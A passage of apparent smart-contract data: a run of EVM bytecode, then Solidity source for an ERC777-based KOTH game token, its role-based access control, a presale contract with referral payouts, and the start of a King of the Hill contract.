1351e565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663242c29296040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156122e057600080fd5b505af11580156122f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123189190612b70565b73ffffffffffffffffffffffffffffffffffffffff166346197c9a8484846040518463ffffffff1660e01b81526004016123549392919061338a565b600060405180830381600087803b15801561236e57600080fd5b505af1158015612382573d6000803e3d6000fd5b50505050505050565b60006123cd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612955565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612445576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243c9061365e565b60405180910390fd5b61245160008383612220565b61246681600454611b2d90919063ffffffff16565b6004819055506124be81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161255f919061367e565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156125db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d2906135be565b60405180910390fd5b6125e782600083612220565b6126538160405180606001604052806022815260200161382d60229139600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab89092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ab81600454611f6090919063ffffffff16565b600481905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161270f919061367e565b60405180910390a35050565b60005b7f000000000000000000000000000000000000000000000000000000000000000160ff16811015612816576127516129b6565b6001828154811061275e57fe5b90600052602060002090600302016040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815260200160028201548152505090506128088160000151856128038460400151876115dc90919063ffffffff16565b611faa565b50808060010191505061271e565b505050565b600060608573ffffffffffffffffffffffffffffffffffffffff166323b872dd8686866040516024016128509392919061338a565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161289e9190613358565b6000604051808303816000865af19150503d80600081146128db576040519150601f19603f3d011682016040523d82523d6000602084013e6128e0565b606091505b509150915081801561290e575060008151148061290d57508080602001905181019061290c9190612c60565b5b5b61294d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612944906135fe565b60405180910390fd5b505050505050565b6000808311829061299c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612993919061343c565b60405180910390fd5b5060008385816129a857fe5b049050809150509392505050565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612a2e57805160ff1916838001178555612a5c565b82800160010185558215612a5c579182015b82811115612a5b578251825591602001919060010190612a40565b5b509050612a699190612a6d565b5090565b5b80821115612a86576000816000905550600101612a6e565b5090565b600081359050612a99816137e7565b92915050565b600081519050612aae816137e7565b92915050565b600081519050612ac3816137fe565b92915050565b600082601f830112612ada57600080fd5b8135612aed612ae8826136e1565b6136b4565b91508082526020830160208301858383011115612b0957600080fd5b612b14838284613794565b50505092915050565b600081359050612b2c81613815565b92915050565b600081519050612b4181613815565b92915050565b600060208284031215612b5957600080fd5b6000612b6784828501612a8a565b91505092915050565b600060208284031215612b8257600080fd5b6000612b9084828501612a9f565b91505092915050565b60008060408385031215612bac57600080fd5b6000612bba85828601612a8a565b9250506020612bcb85828601612a8a565b9150509250929050565b600080600060608486031215612bea57600080fd5b6000612bf886828701612a8a565b9350506020612c0986828701612a8a565b9250506040612c1a86828701612b1d565b9150509250925092565b60008060408385031215612c3757600080fd5b6000612c4585828601612a8a565b9250506020612c5685828601612b1d565b9150509250929050565b600060208284031215612c7257600080fd5b6000612c8084828501612ab4565b91505092915050565b600060208284031215612c9b57600080fd5b600082013567ffffffffffffffff811115612cb557600080fd5b612cc184828501612ac9565b91505092915050565b600060208284031215612cdc57600080fd5b6000612cea84828501612b1d565b91505092915050565b600060208284031215612d0557600080fd5b6000612d1384828501612b32565b91505092915050565b612d258161373f565b82525050565b612d3481613751565b82525050565b6000612d458261370d565b612d4f8185613723565b9350612d5f8185602086016137a3565b80840191505092915050565b6000612d7682613718565b612d80818561372e565b9350612d908185602086016137a3565b612d99816137d6565b840191505092915050565b6000612db160238361372e565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612e1760168361372e565b91507f45524339353a205452414e534645525f4641494c4544000000000000000000006000830152602082019050919050565b6000612e5760268361372e565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612ebd60228361372e565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612f23601b8361372e565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000612f63600f8361372e565b91507f41646472657373206e6f742073657400000000000000000000000000000000006000830152602082019050919050565b6000612fa360228361372e565b91507f5472616e73666572732070617573656420756e74696c204c4745206973206f7660008301527f65720000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061300960218361372e565b91507f4552433935203a206e756c6c206164647265737320736166657479206368656360008301527f6b000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061306f60178361372e565b91507f455243393520616c6c6f77616e636520657863656465640000000000000000006000830152602082019050919050565b60006130af60218361372e565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061311560208361372e565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061315560218361372e565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006131bb60258361372e565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613221601b8361372e565b91507f45524339353a205452414e534645525f46524f4d5f4641494c454400000000006000830152602082019050919050565b600061326160248361372e565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006132c7600f8361372e565b91507f4e6f74204c4745206164647265737300000000000000000000000000000000006000830152602082019050919050565b6000613307601f8361372e565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6133438161377d565b82525050565b61335281613787565b82525050565b60006133648284612d3a565b915081905092915050565b60006020820190506133846000830184612d1c565b92915050565b600060608201905061339f6000830186612d1c565b6133ac6020830185612d1c565b6133b9604083018461333a565b949350505050565b60006040820190506133d66000830185612d1c565b6133e3602083018461333a565b9392505050565b60006060820190506133ff6000830186612d1c565b61340c602083018561333a565b613419604083018461333a565b949350505050565b60006020820190506134366000830184612d2b565b92915050565b600060208201905081810360008301526134568184612d6b565b905092915050565b6000602082019050818103600083015261347781612da4565b9050919050565b6000602082019050818103600083015261349781612e0a565b9050919050565b600060208201905081810360008301526134b781612e4a565b9050919050565b600060208201905081810360008301526134d781612eb0565b9050919050565b600060208201905081810360008301526134f781612f16565b9050919050565b6000602082019050818103600083015261351781612f56565b9050919050565b6000602082019050818103600083015261353781612f96565b9050919050565b6000602082019050818103600083015261355781612ffc565b9050919050565b6000602082019050818103600083015261357781613062565b9050919050565b60006020820190508181036000830152613597816130a2565b9050919050565b600060208201905081810360008301526135b781613108565b9050919050565b600060208201905081810360008301526135d781613148565b9050919050565b600060208201905081810360008301526135f7816131ae565b9050919050565b6000602082019050818103600083015261361781613214565b9050919050565b6000602082019050818103600083015261363781613254565b9050919050565b60006020820190508181036000830152613657816132ba565b9050919050565b60006020820190508181036000830152613677816132fa565b9050919050565b6000602082019050613693600083018461333a565b92915050565b60006020820190506136ae6000830184613349565b92915050565b6000604051905081810181811067ffffffffffffffff821117156136d757600080fd5b8060405250919050565b600067ffffffffffffffff8211156136f857600080fd5b601f19601f8301169050602081019050919050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600061374a8261375d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b838110156137c15780820151818401526020810190506137a6565b838111156137d0576000848401525b50505050565b6000601f19601f8301169050919050565b6137f08161373f565b81146137fb57600080fd5b50565b61380781613751565b811461381257600080fd5b50565b61381e8161377d565b811461382957600080fd5b5056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d2696c7052f34cf2177343ac629b92613134776bcc06c06f000d90acb2c57f5964736f6c634300060c0033
[ 12, 4, 9, 7 ]
0xF236E4eaAFf6997d6Ca35b05cB226820AC8D91e0
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts/utils/Pausable.sol"; /** * @dev Implementation of the {IERC777} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * * Support for ERC20 is included in this contract, as specified by the EIP: both * the ERC777 and ERC20 interfaces can be safely used when interacting with it. * Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token * movements. * * Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there * are no special restrictions in the amount of tokens that created, moved, or * destroyed. This makes integration with ERC20 applications seamless. */ contract CustomERC777 is Context, IERC777, IERC20, Pausable { using SafeMath for uint256; using Address for address; IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); mapping(address => uint256) private _balances; uint256 private _totalSupply; string private _name; string private _symbol; // We inline the result of the following hashes because Solidity doesn't resolve them at compile time. // See https://github.com/ethereum/solidity/issues/4024. // keccak256("ERC777TokensSender") bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = 0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895; // keccak256("ERC777TokensRecipient") bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; // This isn't ever read from - it's only used to respond to the defaultOperators query. address[] private _defaultOperatorsArray; // Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators). mapping(address => bool) private _defaultOperators; // For each account, a mapping of its operators and revoked default operators. mapping(address => mapping(address => bool)) private _operators; mapping(address => mapping(address => bool)) private _revokedDefaultOperators; // ERC20-allowances mapping(address => mapping(address => uint256)) private _allowances; /** * @dev `defaultOperators` may be an empty array. */ constructor( string memory name_, string memory symbol_, address[] memory defaultOperators_ ) public { _name = name_; _symbol = symbol_; _defaultOperatorsArray = defaultOperators_; for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) { _defaultOperators[_defaultOperatorsArray[i]] = true; } // register interfaces _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this)); _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this)); } /** * @dev See {IERC777-name}. */ function name() public view override returns (string memory) { return _name; } /** * @dev See {IERC777-symbol}. */ function symbol() public view override returns (string memory) { return _symbol; } /** * @dev See {ERC20-decimals}. * * Always returns 18, as per the * [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility). */ function decimals() public pure returns (uint8) { return 18; } /** * @dev See {IERC777-granularity}. * * This implementation always returns `1`. */ function granularity() public view override returns (uint256) { return 1; } /** * @dev See {IERC777-totalSupply}. */ function totalSupply() public view override(IERC20, IERC777) returns (uint256) { return _totalSupply; } /** * @dev Returns the amount of tokens owned by an account (`tokenHolder`). */ function balanceOf(address tokenHolder) public view override(IERC20, IERC777) returns (uint256) { return _balances[tokenHolder]; } /** * @dev See {IERC777-send}. * * Also emits a {IERC20-Transfer} event for ERC20 compatibility. */ function send( address recipient, uint256 amount, bytes memory data ) public override { _send(_msgSender(), recipient, amount, data, "", true); } /** * @dev See {IERC20-transfer}. * * Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient} * interface if it is a contract. * * Also emits a {Sent} event. */ function transfer(address recipient, uint256 amount) public override whenNotPaused() returns (bool) { require(recipient != address(0), "ERC777: transfer to the zero address"); address from = _msgSender(); _callTokensToSend(from, from, recipient, amount, "", ""); _move(from, from, recipient, amount, "", ""); _callTokensReceived(from, from, recipient, amount, "", "", false); return true; } /** * @dev See {IERC777-burn}. * * Also emits a {IERC20-Transfer} event for ERC20 compatibility. */ function burn(uint256 amount, bytes memory data) public override whenNotPaused() { _burn(_msgSender(), amount, data, ""); } /** * @dev See {IERC777-isOperatorFor}. */ function isOperatorFor(address operator, address tokenHolder) public view override returns (bool) { return operator == tokenHolder || (_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) || _operators[tokenHolder][operator]; } function _addDefaultOperator(address operator) internal { _defaultOperatorsArray.push(operator); _defaultOperators[operator] = true; emit AuthorizedOperator(operator, address(this)); } function _removeDefaultOperator(address operator) internal { _defaultOperators[operator] = false; for (uint256 x = 0; x <= _defaultOperatorsArray.length - 1; x++) { if (_defaultOperatorsArray[x] == operator) { _defaultOperatorsArray[x] = _defaultOperatorsArray[_defaultOperatorsArray.length - 1]; _defaultOperatorsArray.pop(); break; } } emit RevokedOperator(operator, address(this)); } /** * @dev See {IERC777-authorizeOperator}. */ function authorizeOperator(address operator) public override { require(_msgSender() != operator, "ERC777: authorizing self as operator"); if (_defaultOperators[operator]) { delete _revokedDefaultOperators[_msgSender()][operator]; } else { _operators[_msgSender()][operator] = true; } emit AuthorizedOperator(operator, _msgSender()); } /** * @dev See {IERC777-revokeOperator}. */ function revokeOperator(address operator) public override { require(operator != _msgSender(), "ERC777: revoking self as operator"); if (_defaultOperators[operator]) { _revokedDefaultOperators[_msgSender()][operator] = true; } else { delete _operators[_msgSender()][operator]; } emit RevokedOperator(operator, _msgSender()); } /** * @dev See {IERC777-defaultOperators}. */ function defaultOperators() public view override returns (address[] memory) { return _defaultOperatorsArray; } /** * @dev See {IERC777-operatorSend}. * * Emits {Sent} and {IERC20-Transfer} events. */ function operatorSend( address sender, address recipient, uint256 amount, bytes memory data, bytes memory operatorData ) public override { require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder"); _send(sender, recipient, amount, data, operatorData, true); } /** * @dev See {IERC777-operatorBurn}. * * Emits {Burned} and {IERC20-Transfer} events. */ function operatorBurn( address account, uint256 amount, bytes memory data, bytes memory operatorData ) public override { require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder"); _burn(account, amount, data, operatorData); } /** * @dev See {IERC20-allowance}. * * Note that operator and allowance concepts are orthogonal: operators may * not have allowance, and accounts with allowance may not be operators * themselves. */ function allowance(address holder, address spender) public view override returns (uint256) { return _allowances[holder][spender]; } /** * @dev See {IERC20-approve}. * * Note that accounts cannot have allowance issued by their operators. */ function approve(address spender, uint256 value) public override whenNotPaused() returns (bool) { address holder = _msgSender(); _approve(holder, spender, value); return true; } /** * @dev See {IERC20-transferFrom}. * * Note that operator and allowance concepts are orthogonal: operators cannot * call `transferFrom` (unless they have allowance), and accounts with * allowance cannot call `operatorSend` (unless they are operators). * * Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events. */ function transferFrom( address holder, address recipient, uint256 amount ) public override whenNotPaused() returns (bool) { require(recipient != address(0), "ERC777: transfer to the zero address"); require(holder != address(0), "ERC777: transfer from the zero address"); address spender = _msgSender(); _callTokensToSend(spender, holder, recipient, amount, "", ""); _move(spender, holder, recipient, amount, "", ""); _approve( holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance") ); _callTokensReceived(spender, holder, recipient, amount, "", "", false); return true; } /** * @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * If a send hook is registered for `account`, the corresponding function * will be called with `operator`, `data` and `operatorData`. * * See {IERC777Sender} and {IERC777Recipient}. * * Emits {Minted} and {IERC20-Transfer} events. * * Requirements * * - `account` cannot be the zero address. * - if `account` is a contract, it must implement the {IERC777Recipient} * interface. */ function _mint( address account, uint256 amount, bytes memory userData, bytes memory operatorData ) internal virtual { require(account != address(0), "ERC777: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, amount); // Update state variables _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); _callTokensReceived(operator, address(0), account, amount, userData, operatorData, true); emit Minted(operator, account, amount, userData, operatorData); emit Transfer(address(0), account, amount); } /** * @dev Send tokens * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient */ function _send( address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) internal { require(from != address(0), "ERC777: send from the zero address"); require(to != address(0), "ERC777: send to the zero address"); address operator = _msgSender(); _callTokensToSend(operator, from, to, amount, userData, operatorData); _move(operator, from, to, amount, userData, operatorData); _callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck); } /** * @dev Burn tokens * @param from address token holder address * @param amount uint256 amount of tokens to burn * @param data bytes extra information provided by the token holder * @param operatorData bytes extra information provided by the operator (if any) */ function _burn( address from, uint256 amount, bytes memory data, bytes memory operatorData ) internal virtual { require(from != address(0), "ERC777: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), amount); _callTokensToSend(operator, from, address(0), amount, data, operatorData); // Update state variables _balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Burned(operator, from, amount, data, operatorData); emit Transfer(from, address(0), amount); } function _move( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) private { _beforeTokenTransfer(operator, from, to, amount); _balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance"); _balances[to] = _balances[to].add(amount); emit Sent(operator, from, to, amount, userData, operatorData); emit Transfer(from, to, amount); } /** * @dev See {ERC20-_approve}. * * Note that accounts cannot have allowance issued by their operators. */ function _approve( address holder, address spender, uint256 value ) internal { require(holder != address(0), "ERC777: approve from the zero address"); require(spender != address(0), "ERC777: approve to the zero address"); _allowances[holder][spender] = value; emit Approval(holder, spender, value); } /** * @dev Call from.tokensToSend() if the interface is registered * @param operator address operator requesting the transfer * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) */ function _callTokensToSend( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) private { address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH); if (implementer != address(0)) { IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData); } } /** * @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but * tokensReceived() was not registered for the recipient * @param operator address operator requesting the transfer * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient */ function _callTokensReceived( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) private { address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH); if (implementer != address(0)) { IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData); } else if (requireReceptionAck) { require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient"); } } /** * @dev Hook that is called before any token transfer. This includes * calls to {send}, {transfer}, {operatorSend}, minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/GSN/Context.sol"; import "./CustomERC777.sol"; import "./KingOfTheHill.sol"; import "./KOTHPresale.sol"; contract KOTH is Context, CustomERC777, AccessControl { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant GAME_MASTER_ROLE = keccak256("GAME_MASTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); constructor(address owner, address presaleContract) CustomERC777("KOTH", "KOTH", new address[](0)) { _onCreate(owner, presaleContract); } function _onCreate(address owner, address presaleContract) private { _pause(); _setupRole(DEFAULT_ADMIN_ROLE, owner); _setupRole(GAME_MASTER_ROLE, owner); _setupRole(MINTER_ROLE, owner); _setupRole(MINTER_ROLE, presaleContract); _setupRole(PAUSER_ROLE, owner); _setupRole(PAUSER_ROLE, presaleContract); _register(presaleContract); } function _register(address presaleContract) private { KOTHPresale presale = KOTHPresale(payable(presaleContract)); presale.setKOTH(); } modifier onlyMinter() { require(hasRole(MINTER_ROLE, _msgSender()), "KOTH: sender must be a minter for minting"); _; } modifier onlyGameMaster() { require(hasRole(GAME_MASTER_ROLE, _msgSender()), "KOTH: sender must be a game master"); _; } modifier onlyPauser() { require(hasRole(PAUSER_ROLE, _msgSender()), "KOTH: sender must be a pauser"); _; } function pause() public onlyPauser() { _pause(); } function unpause() public onlyPauser() { _unpause(); } function mint(address account, uint256 amount) public onlyMinter() { _mint(account, amount, "", ""); } // Set game contract as default operator function addGameContract(address game) public onlyGameMaster() { require(game != address(0), "KOTH: game is zero address"); require(defaultOperators().length == 0, "KOTH: game contract is already set"); _addDefaultOperator(game); } // Unset game contract as default operator function removeGameContract(address game) public onlyGameMaster() { _removeDefaultOperator(game); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Pausable.sol"; import "./KOTH.sol"; contract KOTHPresale is Context, Ownable, Pausable, ReentrancyGuard { using SafeMath for uint256; struct Referrer { bool isActive; address parent; } uint256 private _price; uint256 private _weiRaised; uint256 private _kothBonusPercentage; uint256 private _originalReferrerPercentage; uint256 private _childReferrerPercentage; KOTH private _koth; address payable private _wallet; mapping(address => Referrer) private _referrer; event KOTHPurchased( address indexed purchaser, address indexed parentReferrer, address indexed childReferrer, uint256 value, uint256 amount ); constructor( address owner, address payable wallet_, uint256 price ) { _pause(); _wallet = wallet_; _price = price; _kothBonusPercentage = 10; _originalReferrerPercentage = 10; _childReferrerPercentage = 7; transferOwnership(owner); } modifier onlyKOTHRegistered() { require(address(_koth) != address(0), "KOTHPresale: KOTH token is not registered"); _; } // calculate percentage of amount in wei function percentageToAmount(uint256 amount, uint256 percentage) public pure returns (uint256) { return amount.mul(percentage).div(100); } function wallet() public view returns (address payable) { return _wallet; } function weiRaised() public view returns (uint256) { return _weiRaised; } function getKOTHPrice() public view returns (uint256) { return _price; } function setKOTHPrice(uint256 price) public onlyOwner() { _price = price; } // This function will be called by the KOTH contract at deployment only 1 time function setKOTH() external { require(address(_koth) == address(0), "KOTHPresale: KOTH address is already set"); _koth = KOTH(_msgSender()); } function getKOTH() public view returns (address) { return address(_koth); } function getKOTHBonusPercentage() public view returns (uint256) { return _kothBonusPercentage; } function setKOTHBonusPercentage(uint256 percentage) public onlyOwner() { require(percentage <= 100, "KOTHPresale: KOTH bonus percentage greater than 100"); _kothBonusPercentage = percentage; } function getOriginalReferrerPercentage() public view returns (uint256) { return _originalReferrerPercentage; } function setOriginalReferrerPercentage(uint256 percentage) public onlyOwner() { require(percentage <= 100, "KOTHPresale: Original referrer percentage greater than 100"); _originalReferrerPercentage = percentage; } function getChildReferrerPercentage() public view returns (uint256) { return _childReferrerPercentage; } function setChildReferrerPercentage(uint256 percentage) public onlyOwner() { require( _originalReferrerPercentage >= percentage, "KOTHPresale: Original referrer percentage less than child percentage" ); _childReferrerPercentage = percentage; } function getParentReferrerPercentage() public view returns (uint256) { return _originalReferrerPercentage.sub(_childReferrerPercentage); } function grantReferrer(address account) public onlyOwner() { require(account != address(0), "KOTHPresale: zero address can not be a referrer"); _referrer[account] = Referrer(true, address(0)); } function mintReferrer(address account) public { require(_referrer[account].isActive == true, "KOTHPresale: account is not a referrer"); require(_referrer[account].parent == address(0), "KOTHPresale: account is not an original referrer"); _referrer[_msgSender()] = Referrer(true, account); } function isReferrer(address account) public view returns (bool) { return _referrer[account].isActive; } function isOriginalReferrer(address account) public view returns (bool) { return _referrer[account].parent == address(0) && isReferrer(account); } function isChildReferrer(address account) public view returns (bool) { return isReferrer(account) && !isOriginalReferrer(account); } function parentReferrerOf(address account) public view returns (address) { return _referrer[account].parent; } // @dev price of 1 KOTH has to be lesser than 1 ETHER else rate will be 0 !!! function rate() public view onlyKOTHRegistered() returns (uint256) { return ((10**uint256(_koth.decimals()))).div(_price); } function getKOTHAmount(uint256 weiAmount) public view onlyKOTHRegistered() returns (uint256) { return weiAmount.mul(rate()); } function getPurchasePrice(uint256 tokenAmount) public view onlyKOTHRegistered() returns (uint256) { uint256 purchasePrice = tokenAmount.div(rate()); require(purchasePrice > 0, "KOTHPresale: not enough tokens"); return purchasePrice; } function pause() public onlyOwner() onlyKOTHRegistered() { _pause(); _koth.unpause(); } function unpause() public onlyOwner() { _unpause(); } receive() external payable { buyKOTH(); } // buy without referrer function buyKOTH() public payable whenNotPaused() nonReentrant() onlyKOTHRegistered() { require(msg.value > 0, "KOTHPresale: purchase price can not be 0"); uint256 nbKOTH = getKOTHAmount(msg.value); _processPurchase(nbKOTH); emit KOTHPurchased(_msgSender(), address(0), address(0), msg.value, nbKOTH); _forwardFunds(address(0)); } // buy with a referrer function buyKOTHWithReferrer(address referrer) public payable whenNotPaused() nonReentrant() onlyKOTHRegistered() { require(_referrer[referrer].isActive == true, "KOTHPresale: account is not a referrer"); if (isChildReferrer(referrer)) { require(_msgSender() != referrer, "KOTHPresale: child referrer can not buy for himself"); } require(msg.value > 0, "KOTHPresale: purchase price can not be 0"); uint256 nbKOTH = getKOTHAmount(msg.value); uint256 nbKOTHWithBonus = nbKOTH.add(percentageToAmount(nbKOTH, _kothBonusPercentage)); _processPurchase(nbKOTHWithBonus); address parent; address child; if (isOriginalReferrer(referrer)) { parent = referrer; child = address(0); } else { parent = _referrer[referrer].parent; child = referrer; } emit KOTHPurchased(msg.sender, parent, child, msg.value, nbKOTHWithBonus); _forwardFunds(referrer); } function _processPurchase(uint256 kothAmount) private { _koth.mint(_msgSender(), kothAmount); } function _forwardFunds(address referrer) private { uint256 parentReward; uint256 childReward; uint256 remainingWeiAmount; if (isOriginalReferrer(referrer)) { parentReward = percentageToAmount(msg.value, _originalReferrerPercentage); payable(referrer).transfer(parentReward); } else if (isChildReferrer(referrer)) { childReward = percentageToAmount(msg.value, _childReferrerPercentage); parentReward = percentageToAmount(msg.value, _originalReferrerPercentage.sub(_childReferrerPercentage)); payable(referrer).transfer(childReward); payable(_referrer[referrer].parent).transfer(parentReward); } remainingWeiAmount = msg.value.sub(parentReward).sub(childReward); _weiRaised = _weiRaised.add(remainingWeiAmount); _wallet.transfer(remainingWeiAmount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Pausable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./KOTH.sol"; contract KingOfTheHill is Ownable, Pausable { using SafeMath for uint256; KOTH private _koth; // Token address of the KOTH ERC20 token address public _wallet; address public _potOwner; // Current owner (king of the hill) 